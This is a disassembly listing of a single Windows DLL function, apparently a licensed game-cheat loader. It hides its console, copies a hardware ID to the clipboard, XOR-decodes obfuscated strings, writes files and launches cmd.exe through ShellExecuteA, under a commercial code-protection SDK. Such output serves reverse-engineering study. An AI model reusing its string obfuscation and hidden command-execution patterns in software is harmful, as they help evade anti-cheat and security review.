Function at 0x18000e900
Capabilities:
Create process on windows
Open clipboard
Terminate process
Write clipboard data

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x5a8]
sub rsp, 0x6a8
mov rax, qword [0x180098088]
xor rax, rsp
mov qword [rbp + 0x580], rax
lea rdx, [0x18000dee0]
xor ebx, ebx
lea rcx, [rbp + 0x2a0]
call fcn.18001e070
lea rcx, [rbp + 0x2a0]
call fcn.1800045e0
cmp dword [rbp + 0x2a8], ebx
je 0x18000e953
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.18000e2d0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0x2b0]
call fcn.18000d860
mov rdx, rax
lea rcx, [rbp + 0x350]
call fcn.18000e520
lea rdx, [rsp + 0x50]
mov qword [rbp + 0x2e8], rbx
lea rcx, [rbp + 0x350]
call fcn.180020ce0
mov rbx, qword [rsp + 0x50]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x350]
call fcn.180020d00
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp + 0x2a0]
mov r8, rbx
call fcn.18001e100
mov r9b, 1
lea r8, [rbp + 0x2b0]
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x340]
call fcn.180013960
mov rcx, qword [rbp + 0x2a8]
test rcx, rcx
je 0x18000e9fd
call fcn.180002f80
xor edx, edx
lea rcx, [rbp + 0x340]
call fcn.180018430
test al, al
je 0x18000ea18
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x6c0], rsi
lea rdx, str.loggedin
lea rcx, [rbp + 0x340]
mov qword [rsp + 0x6c8], rdi
call fcn.180018450
lea rdx, [rbp + 0x221]
mov rcx, rax
call fcn.180024080
cmp byte [rbp + 0x221], 0
jne 0x18000eeeb
lea rcx, [rbp + 0x250]
call fcn.18000d860
lea rcx, [rbp + 0x250]
call fcn.180014080
test al, al
jne 0x18000ee17
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x18000ed9a
call qword [sym.imp.USER32.dll_EmptyClipboard]
lea rcx, [rbp + 0x250]
call fcn.180014090
mov ecx, 2
mov rsi, rax
lea rdx, [rax + 1]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdi, rax
test rax, rax
je 0x18000ec80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
lea rcx, [rbp + 0x250]
mov rbx, rax
call fcn.180001d90
mov rdx, rax
lea r8, [rsi + 1]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rdi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalFree]
movabs rax, 0xf26697e731ab5bf
lea r8, str.HWID
mov qword [rbp + 0x390], rax
lea rdx, [rbp + 0x450]
movabs rax, 0xebcefc476a713c30
movabs rcx, 0x7b48061a536fdae6
mov qword [rbp + 0x2b0], rcx
xor r9d, r9d
mov qword [rbp + 0x398], rax
movabs rcx, 0x85a7dc3e0b054f10
mov qword [rbp + 0x2b8], rcx
movabs rax, 0x484188b077fc7189
movups xmm0, xmmword [rbp + 0x2b0]
movabs rcx, 0x3b20ead1039d15a9
xorps xmm0, xmmword [rbp + 0x390]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x2c0], rcx
movabs rcx, 0x1de9a336f4b0288f
mov qword [rbp + 0x3a8], rax
movabs rax, 0x6bcdef722c9877e3
mov qword [rbp + 0x2c8], rcx
movabs rcx, 0x1fed8b1745e81880
movups xmm1, xmmword [rbp + 0x2c0]
xorps xmm1, xmmword [rbp + 0x3a0]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xe507287b5c5caee4
mov qword [rbp + 0x2d0], rcx
movabs rcx, 0x8a655812303f8e8b
mov qword [rbp + 0x3b8], rax
movabs rax, 0xe70aa354c649684d
mov qword [rbp + 0x2d8], rcx
movabs rcx, 0xe70aa354e82d1a2c
movups xmm2, xmmword [rbp + 0x2d0]
xorps xmm2, xmmword [rbp + 0x3b0]
mov qword [rbp + 0x3c0], rax
movabs rax, 0xd27392056de0423e
mov qword [rbp + 0x2e0], rcx
xor ecx, ecx
mov qword [rbp + 0x2e8], rax
movups xmm3, xmmword [rbp + 0x2e0]
mov qword [rbp + 0x3c8], rax
xorps xmm3, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x480], xmm3
movdqa xmmword [rbp + 0x450], xmm0
movdqa xmmword [rbp + 0x460], xmm1
movdqa xmmword [rbp + 0x470], xmm2
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x18000eee2
movabs rax, 0xf26697e731ab5bf
lea rdx, [rbp + 0x450]
mov qword [rbp + 0x390], rax
movabs rax, 0xebcefc476a713c30
mov qword [rbp + 0x398], rax
movabs rax, 0x484188b077fc7189
mov qword [rbp + 0x3a0], rax
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x3a8], rax
movabs rax, 0x6bcdef722c9877e3
mov qword [rbp + 0x3b0], rax
movabs rax, 0xe507287b5c5caee4
mov qword [rbp + 0x3b8], rax
movabs rax, 0x7b060d1b1f73d4f9
mov qword [rbp + 0x2b0], rax
movabs rax, 0x8aad932b06101c5f
mov qword [rbp + 0x2b8], rax
movabs rax, 0x3a2ee5d51adc14fd
movups xmm0, xmmword [rbp + 0x2b0]
mov qword [rbp + 0x2c0], rax
movabs rax, 0x51ceca13d3f62493
mov qword [rbp + 0x2c8], rax
movabs rax, 0x4ba99d1343fa078a
movups xmm1, xmmword [rbp + 0x2c0]
mov qword [rbp + 0x2d0], rax
movabs rax, 0xe50728553d28cf80
xorps xmm0, xmmword [rbp + 0x390]
xorps xmm1, xmmword [rbp + 0x3a0]
mov qword [rbp + 0x2d8], rax
movups xmm2, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x450], xmm0
xorps xmm2, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0x470], xmm2
movdqa xmmword [rbp + 0x460], xmm1
jmp 0x18000eec6
movabs rax, 0xf26697e731ab5bf
mov qword [rbp + 0x370], rax
movabs rax, 0xebcefc476a713c30
mov qword [rbp + 0x378], rax
movabs rax, 0x484188b077fc7189
mov qword [rbp + 0x380], rax
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x388], rax
movabs rax, 0x7b060d1b1f73d4f9
mov qword [rsp + 0x30], rax
movabs rax, 0x9fee92221a1e1c5f
mov qword [rsp + 0x38], rax
movabs rax, 0x2a31e1dc14dc14e1
mov qword [rsp + 0x40], rax
movabs rax, 0x3dadea4fd8e26585
jmp 0x18000ee92
movabs rax, 0xf26697e731ab5bf
mov qword [rbp + 0x370], rax
movabs rax, 0xebcefc476a713c30
mov qword [rbp + 0x378], rax
movabs rax, 0x484188b077fc7189
mov qword [rbp + 0x380], rax
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x388], rax
movabs rax, 0x7b060d1b1f73d4f9
mov qword [rsp + 0x30], rax
movabs rax, 0x83badc330f161c5f
mov qword [rsp + 0x38], rax
movabs rax, 0x3b24ebdf058c51ec
mov qword [rsp + 0x40], rax
movabs rax, 0x3d83ae289ce26b99
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x2b0]
movups xmm1, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x370]
xorps xmm1, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x2c0], xmm1
movdqa xmmword [rbp + 0x2b0], xmm0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180002060
lea rdx, [0x1800183f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x6d0], r12
lea rcx, [rbp + 0x318]
mov qword [rsp + 0x6a0], r13
mov qword [rsp + 0x698], r14
mov qword [rsp + 0x690], r15
mov word [rbp + 0x310], 0
call fcn.180014280
movzx r15d, byte [rbp + 0x220]
movzx r14d, byte [rbp + 0x220]
movzx edi, byte [rbp + 0x220]
movzx esi, byte [rbp + 0x220]
movzx r13d, byte [rbp + 0x220]
movzx r12d, byte [rbp + 0x220]
mov byte [rbp + 0x338], 0
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_104]
lea rcx, [rbp + 0x390]
call fcn.18000d860
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.18000e520
lea rdx, [rsp + 0x58]
mov qword [rbp + 0x3c8], 0
lea rcx, [rbp + 0x2b0]
call fcn.180020ce0
mov rbx, qword [rsp + 0x58]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x2b0]
call fcn.180020d00
mov rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x58]
mov r8, rbx
call fcn.18001e100
mov r9b, 1
lea r8, [rbp + 0x390]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x2a0]
call fcn.180013960
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x18000efe1
call fcn.180002f80
lea rdx, str.open
lea rcx, [rbp + 0x2a0]
call fcn.180018450
lea rdx, [rbp + 0x221]
mov rcx, rax
call fcn.180024080
movzx eax, byte [rbp + 0x221]
lea rdx, str.destructed
lea rcx, [rbp + 0x2a0]
mov byte [rbp + 0x310], al
call fcn.180018450
lea rdx, [rbp + 0x220]
mov rcx, rax
call fcn.180024080
movzx eax, byte [rbp + 0x220]
lea rdx, str.cheat
lea rcx, [rbp + 0x2a0]
mov byte [rbp + 0x311], al
call fcn.180018450
mov rdx, rax
lea rcx, [rbp + 0x318]
call fcn.18001e280
cmp byte [rbp + 0x310], 0
je 0x180010813
lea rdx, str.gosth
lea rcx, [rbp + 0x318]
call fcn.18001d290
test al, al
je 0x18000f8b6
mov edx, 0x5dc
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rax, 0xebcefc476a713c30
lea r9, [rbp + 0x490]
mov qword [rbp + 0x458], rax
lea r8, str.cmd.exe
movabs rcx, 0x7d4f0d151e3ad690
lea rdx, str.open
mov qword [rbp + 0x390], rcx
movabs rax, 0x484188b077fc7189
mov qword [rbp + 0x460], rax
movabs rcx, 0x8fa09510364b7f10
mov qword [rbp + 0x398], rcx
movabs rax, 0x3dadea61bc9004ea
movdqu xmm0, xmmword [rbp + 0x390]
movabs rcx, 0x3c32f1e32b8f06e6
mov qword [rbp + 0x468], rax
movabs rbx, 0xf26697e731ab5bf
mov qword [rbp + 0x3a0], rcx
movabs rax, 0x6bcdef722c9877e3
mov qword [rbp + 0x470], rax
movabs rcx, 0x53c4bd3d8ea3698f
mov qword [rbp + 0x3a8], rcx
movabs rax, 0xe507287b5c5caee4
movups xmm1, xmmword [rbp + 0x3a0]
movabs rcx, 0xeba80225fef1887
xorps xmm1, xmmword [rbp + 0x460]
mov qword [rbp + 0x478], rax
movabs rax, 0xe70aa354c649684d
mov qword [rbp + 0x3b0], rcx
movabs rcx, 0x935b44173934fd96
mov qword [rbp + 0x480], rax
movabs rax, 0xd27392056de0423e
mov qword [rbp + 0x3b8], rcx
movabs rcx, 0xe70aa3549a79467c
movups xmm2, xmmword [rbp + 0x3b0]
xorps xmm2, xmmword [rbp + 0x470]
mov qword [rbp + 0x3c0], rcx
xor ecx, ecx
mov qword [rbp + 0x3c8], rax
movups xmm3, xmmword [rbp + 0x3c0]
mov qword [rbp + 0x488], rax
xor eax, eax
xorps xmm3, xmmword [rbp + 0x480]
mov dword [rsp + 0x28], eax
mov qword [rbp + 0x450], rbx
xorps xmm0, xmmword [rbp + 0x450]
movdqa xmmword [rbp + 0x4c0], xmm3
movdqa xmmword [rbp + 0x490], xmm0
movdqa xmmword [rbp + 0x4a0], xmm1
movdqa xmmword [rbp + 0x4b0], xmm2
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov qword [rbp + 0x390], rbx
mov qword [rbp + 0x240], rax
xorps xmm0, xmm0
movabs rax, 0xebcefc476a713c30
mov qword [rbp + 0x398], rax
movabs rax, 0x484188b077fc7189
mov qword [rbp + 0x3a0], rax
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x3a8], rax
movabs rax, 0x6bcdef722c9877e3
mov qword [rbp + 0x3b0], rax
movabs rax, 0xe507287b5c5caee4
mov qword [rbp + 0x3b8], rax
movabs rax, 0xe70aa354c649684d
mov qword [rbp + 0x3c0], rax
movabs rax, 0xd27392056de0423e
mov qword [rbp + 0x3c8], rax
movabs rax, 0x31f48066b4ec2027
mov qword [rbp + 0x3d0], rax
movabs rax, 0xba5422af318af538
mov qword [rbp + 0x3d8], rax
movabs rax, 0x2427621805b4a1d1
mov qword [rbp + 0x3e0], rax
movups xmmword [rbp + 0x230], xmm0
movzx edx, byte [rbp + 0x220]
lea rcx, [rbp + 0x250]
movabs rax, 0xdb4e11e9f1a45752
mov qword [rbp + 0x3e8], rax
movabs rax, 0x2009530d036ec1d7
mov qword [rbp + 0x3f0], rax
movabs rax, 0x88bd9523441f5853
mov qword [rbp + 0x3f8], rax
movabs rax, 0x2b6ff8c0169803e6
movdqa xmm0, xmmword [rbp + 0x3f0]
xorps xmm0, xmmword [rbp + 0x390]
mov qword [rbp + 0x400], rax
movabs rax, 0x5ecc9e15ddbf6985
mov qword [rbp + 0x408], rax
movabs rax, 0x5ae29c0642fd1a8b
movdqa xmm1, xmmword [rbp + 0x400]
xorps xmm1, xmmword [rbp + 0x3a0]
mov qword [rbp + 0x410], rax
movabs rax, 0xd533184f686d9fd5
mov qword [rbp + 0x418], rax
movabs rax, 0xd13a9662f6785a74
mov qword [rbp + 0x420], rax
movabs rax, 0xe145a4345ccf7407
mov qword [rbp + 0x428], rax
movabs rax, 0x2c4b05784d41614
mov qword [rbp + 0x430], rax
movabs rax, 0xd67b169607bacc0a
mov qword [rbp + 0x438], rax
movabs rax, 0xa55077066dad4b0
movdqa xmmword [rbp + 0x3f0], xmm0
movdqa xmm0, xmmword [rbp + 0x410]
xorps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0x400], xmm1
movdqa xmm1, xmmword [rbp + 0x420]
xorps xmm1, xmmword [rbp + 0x3c0]
mov qword [rbp + 0x440], rax
movabs rax, 0xdb4e11e9f1c12f37
mov qword [rbp + 0x448], rax
movdqa xmmword [rbp + 0x410], xmm0
movdqa xmm0, xmmword [rbp + 0x430]
xorps xmm0, xmmword [rbp + 0x3d0]
movdqa xmmword [rbp + 0x420], xmm1
movdqa xmm1, xmmword [rbp + 0x440]
xorps xmm1, xmmword [rbp + 0x3e0]
movdqa xmmword [rbp + 0x440], xmm1
movdqa xmmword [rbp + 0x430], xmm0
call fcn.180018e80
mov rbx, 0xffffffffffffffff
lea rax, [rbp + 0x3f0]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x18000f480
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x250]
call fcn.1800024b0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x230]
call fcn.18000e3e0
lea rcx, [rbp + 0x250]
call fcn.180001da0
mov ecx, Ordinal_104
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx edx, byte [rbp + 0x220]
movabs rax, 0xf26697e731ab5bf
mov qword [rbp + 0x450], rax
movabs rcx, 0x6042071724468ffc
mov qword [rbp + 0x390], rcx
movabs rax, 0xebcefc476a713c30
mov qword [rbp + 0x458], rax
movabs rcx, 0x8eba8f3e392d4f47
mov qword [rbp + 0x398], rcx
movabs rax, 0x484188b077fc7189
movdqu xmm0, xmmword [rbp + 0x390]
movabs rcx, 0x2c2fe1e72bce42e4
xorps xmm0, xmmword [rbp + 0x450]
mov qword [rbp + 0x460], rax
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x3a0], rcx
movabs rcx, 0x4fc89d0eece37385
mov qword [rbp + 0x468], rax
movabs rax, 0x6bcdef722c9877e3
mov qword [rbp + 0x3a8], rcx
movabs rcx, 0x5abbb31e40fd1fb0
movups xmm1, xmmword [rbp + 0x3a0]
xorps xmm1, xmmword [rbp + 0x460]
mov qword [rbp + 0x470], rax
movabs rax, 0xe507287b5c5caee4
mov qword [rbp + 0x3b0], rcx
movabs rcx, 0x8d745a0c2c009eca
mov qword [rbp + 0x478], rax
movabs rax, 0xe70aa354c649684d
mov qword [rbp + 0x3b8], rcx
movabs rcx, 0xe76fdb31e839013e
movups xmm2, xmmword [rbp + 0x3b0]
xorps xmm2, xmmword [rbp + 0x470]
mov qword [rbp + 0x480], rax
movabs rax, 0xd27392056de0423e
mov qword [rbp + 0x3c0], rcx
lea rcx, [rbp + 0x2f0]
mov qword [rbp + 0x3c8], rax
movups xmm3, xmmword [rbp + 0x3c0]
mov qword [rbp + 0x488], rax
xorps xmm3, xmmword [rbp + 0x480]
movdqa xmmword [rbp + 0x4c0], xmm3
movdqa xmmword [rbp + 0x490], xmm0
movdqa xmmword [rbp + 0x4a0], xmm1
movdqa xmmword [rbp + 0x4b0], xmm2
call fcn.180018e80
lea rax, [rbp + 0x490]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x18000f643
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x2f0]
call fcn.1800024b0
xor edx, edx
lea rcx, [rbp + 0x110]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x2f0]
call fcn.180001d90
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov rdx, rax
lea rcx, [rbp + 0x110]
lea r8d, [r9 - 0x1e]
call fcn.180012740
mov r8, qword [rbp + 0x238]
lea rcx, [rbp + 0x110]
mov rdx, qword [rbp + 0x230]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x110]
call fcn.180012640
nop dword [rax + rax]
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x110]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x18000f6d0
movabs rax, 0xf26697e731ab5bf
lea r9, [rbp + 0x490]
mov qword [rbp + 0x450], rax
lea r8, str.cmd.exe
movabs rax, 0xebcefc476a713c30
lea rdx, str.open
mov qword [rbp + 0x458], rax
xor ecx, ecx
movabs rax, 0x484188b077fc7189
mov qword [rbp + 0x460], rax
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x468], rax
movabs rax, 0x6bcdef722c9877e3
mov qword [rbp + 0x470], rax
movabs rax, 0xe507287b5c5caee4
mov qword [rbp + 0x478], rax
movabs rax, 0xe70aa354c649684d
mov qword [rbp + 0x480], rax
movabs rax, 0xd27392056de0423e
mov qword [rbp + 0x488], rax
movabs rax, 0x66713544303ad690
mov qword [rbp + 0x390], rax
movabs rax, 0x929da0341d1e585e
mov qword [rbp + 0x398], rax
movabs rax, 0x1f1dba831a9905fa
movdqu xmm0, xmmword [rbp + 0x390]
xorps xmm0, xmmword [rbp + 0x450]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x52fd9916d3f46a83
mov qword [rbp + 0x3a8], rax
movabs rax, 0x7a18a1a7fea1294
movups xmm1, xmmword [rbp + 0x3a0]
xorps xmm1, xmmword [rbp + 0x460]
mov qword [rbp + 0x3b0], rax
movabs rax, 0x9277744b726dd8b8
mov qword [rbp + 0x3b8], rax
movabs rax, 0x8224d33db5211b3f
movups xmm2, xmmword [rbp + 0x3b0]
xorps xmm2, xmmword [rbp + 0x470]
mov qword [rbp + 0x3c0], rax
movabs rax, 0xd27392056de02746
mov qword [rbp + 0x3c8], rax
xor eax, eax
movups xmm3, xmmword [rbp + 0x3c0]
xorps xmm3, xmmword [rbp + 0x480]
mov dword [rsp + 0x28], eax
movdqa xmmword [rbp + 0x4c0], xmm3
movdqa xmmword [rbp + 0x490], xmm0
movdqa xmmword [rbp + 0x4a0], xmm1
movdqa xmmword [rbp + 0x4b0], xmm2
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp + 0x1b8]
call fcn.180012680
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x2f0]
call fcn.180001da0
lea rcx, [rbp + 0x230]
call fcn.180013c10
jmp 0x18001081a
lea rdx, str.skript
lea rcx, [rbp + 0x318]
call fcn.18001d290
test al, al
je 0x180010165
mov edx, 0x5dc
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
xor eax, eax
lea rcx, [rbp + 0x250]
mov qword [rbp + 0x240], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
movabs rax, 0xf26697e731ab5bf
movzx edx, r13b
mov qword [rbp + 0x4f0], rax
movabs rax, 0xebcefc476a713c30
mov qword [rbp + 0x4f8], rax
movabs rax, 0x484188b077fc7189
mov qword [rbp + 0x500], rax
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x508], rax
movabs rax, 0x6bcdef722c9877e3
mov qword [rbp + 0x510], rax
movabs rax, 0xe507287b5c5caee4
mov qword [rbp + 0x518], rax
movabs rax, 0xe70aa354c649684d
mov qword [rbp + 0x520], rax
movabs rax, 0xd27392056de0423e
mov qword [rbp + 0x528], rax
movabs rax, 0x31f48066b4ec2027
mov qword [rbp + 0x530], rax
movabs rax, 0xba5422af318af538
mov qword [rbp + 0x538], rax
movabs rax, 0x2427621805b4a1d1
mov qword [rbp + 0x540], rax
movabs rax, 0xdb4e11e9f1a45752
mov qword [rbp + 0x548], rax
movabs rax, 0x2009530d036ec1d7
mov qword [rbp + 0x3f0], rax
movabs rax, 0x88bd9523441f5853
mov qword [rbp + 0x3f8], rax
movabs rax, 0x2b6ff8c0169803e6
movdqa xmm0, xmmword [rbp + 0x3f0]
xorps xmm0, xmmword [rbp + 0x4f0]
mov qword [rbp + 0x400], rax
movabs rax, 0x5ecc9e15ddbf6985
mov qword [rbp + 0x408], rax
movabs rax, 0x5ae29c0642fd1a8b
movdqa xmm1, xmmword [rbp + 0x400]
xorps xmm1, xmmword [rbp + 0x500]
mov qword [rbp + 0x410], rax
movabs rax, 0xd03f1b4d6a6d9fd5
mov qword [rbp + 0x418], rax
movabs rax, 0xdf3a9162f6795174
mov qword [rbp + 0x420], rax
movabs rax, 0xe744a4345ccf700a
mov qword [rbp + 0x428], rax
movabs rax, 0x3c4b45084dc1812
mov qword [rbp + 0x430], rax
movabs rax, 0xef7b149904bfcc09
mov qword [rbp + 0x438], rax
movabs rax, 0x53420b6e60f0e382
movdqa xmmword [rbp + 0x3f0], xmm0
movdqa xmm0, xmmword [rbp + 0x410]
xorps xmm0, xmmword [rbp + 0x510]
movdqa xmmword [rbp + 0x400], xmm1
movdqa xmm1, xmmword [rbp + 0x420]
xorps xmm1, xmmword [rbp + 0x520]
mov qword [rbp + 0x440], rax
movabs rax, 0xdb4e11e994dc327c
mov qword [rbp + 0x448], rax
movdqa xmmword [rbp + 0x410], xmm0
movdqa xmm0, xmmword [rbp + 0x430]
xorps xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x420], xmm1
movdqa xmm1, xmmword [rbp + 0x440]
xorps xmm1, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x440], xmm1
movdqa xmmword [rbp + 0x430], xmm0
call fcn.180018e80
mov rbx, 0xffffffffffffffff
lea rax, [rbp + 0x3f0]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x18000fb40
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x250]
call fcn.1800024b0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x230]
call fcn.18000e3e0
lea rcx, [rbp + 0x250]
call fcn.180001da0
mov ecx, Ordinal_104
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx edx, byte [rbp + 0x220]
movabs rax, 0xf26697e731ab5bf
mov qword [rbp + 0x3f0], rax
movabs rcx, 0x6042071724468ffc
mov qword [rbp + 0x250], rcx
movabs rax, 0xebcefc476a713c30
mov qword [rbp + 0x3f8], rax
movabs rcx, 0x99ab912a232d4f47
mov qword [rbp + 0x258], rcx
movabs rax, 0x484188b077fc7189
movdqa xmm0, xmmword [rbp + 0x250]
movabs rcx, 0x3c2fe7f3128a18fa
xorps xmm0, xmmword [rbp + 0x3f0]
mov qword [rbp + 0x260], rcx
movabs rcx, 0x51c88400ecfc6b98
mov qword [rbp + 0x400], rax
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x268], rcx
movabs rcx, 0x38a08a065fe124bf
movdqa xmm1, xmmword [rbp + 0x260]
mov qword [rbp + 0x408], rax
movabs rax, 0x6bcdef722c9877e3
xorps xmm1, xmmword [rbp + 0x400]
mov qword [rbp + 0x270], rcx
movabs rcx, 0xb9744f153528da81
mov qword [rbp + 0x410], rax
movabs rax, 0xe507287b5c5caee4
mov qword [rbp + 0x278], rcx
movabs rcx, 0x8259ce31b23a111e
mov qword [rbp + 0x418], rax
movabs rax, 0xe70aa354c649684d
mov qword [rbp + 0x280], rcx
movabs rcx, 0xb75de1620389364a
mov qword [rbp + 0x420], rax
movabs rax, 0xd27392056de0423e
movdqa xmmword [rbp + 0x250], xmm0
movdqa xmm0, xmmword [rbp + 0x270]
xorps xmm0, xmmword [rbp + 0x410]
mov qword [rbp + 0x288], rcx
movabs rcx, 0x31f48066b4ec455f
mov qword [rbp + 0x428], rax
movabs rax, 0x31f48066b4ec2027
mov qword [rbp + 0x290], rcx
lea rcx, [rbp + 0x390]
mov qword [rbp + 0x430], rax
movabs rax, 0xba5422af318af538
mov qword [rbp + 0x298], rax
movdqa xmmword [rbp + 0x260], xmm1
movdqa xmm1, xmmword [rbp + 0x280]
xorps xmm1, xmmword [rbp + 0x420]
movdqa xmmword [rbp + 0x270], xmm0
movdqa xmm0, xmmword [rbp + 0x290]
mov qword [rbp + 0x438], rax
xorps xmm0, xmmword [rbp + 0x430]
movdqa xmmword [rbp + 0x290], xmm0
movdqa xmmword [rbp + 0x280], xmm1
call fcn.180018e80
lea rax, [rbp + 0x250]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x18000fd61
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x390]
call fcn.1800024b0
xor edx, edx
lea rcx, [rbp + 0x110]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x390]
call fcn.180001d90
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov rdx, rax
lea rcx, [rbp + 0x110]
lea r8d, [r9 - 0x1e]
call fcn.180012740
mov r8, qword [rbp + 0x238]
lea rcx, [rbp + 0x110]
mov rdx, qword [rbp + 0x230]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x110]
call fcn.180012640
nop dword [rax]
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x110]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x18000fdf0
movabs rax, 0xf26697e731ab5bf
movabs rcx, 0x6042071724468ffc
mov qword [rbp + 0x250], rcx
movzx edx, r14b
mov qword [rbp + 0x3f0], rax
movabs rcx, 0x99ab912a232d4f47
mov qword [rbp + 0x258], rcx
movabs rax, 0xebcefc476a713c30
movdqa xmm0, xmmword [rbp + 0x250]
movabs rcx, 0x3c2fe7f3128a18fa
mov qword [rbp + 0x3f8], rax
movabs rax, 0x484188b077fc7189
xorps xmm0, xmmword [rbp + 0x3f0]
mov qword [rbp + 0x260], rcx
movabs rcx, 0x51c88400ecfc6b98
mov qword [rbp + 0x400], rax
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x268], rcx
movabs rcx, 0x38a08a065fe124bf
movdqa xmm1, xmmword [rbp + 0x260]
mov qword [rbp + 0x408], rax
movabs rax, 0x6bcdef722c9877e3
xorps xmm1, xmmword [rbp + 0x400]
mov qword [rbp + 0x270], rcx
movabs rcx, 0xb9744f153528da81
mov qword [rbp + 0x410], rax
movabs rax, 0xe507287b5c5caee4
mov qword [rbp + 0x278], rcx
movabs rcx, 0x8259ce31b23a111e
mov qword [rbp + 0x418], rax
movabs rax, 0xe70aa354c649684d
mov qword [rbp + 0x280], rcx
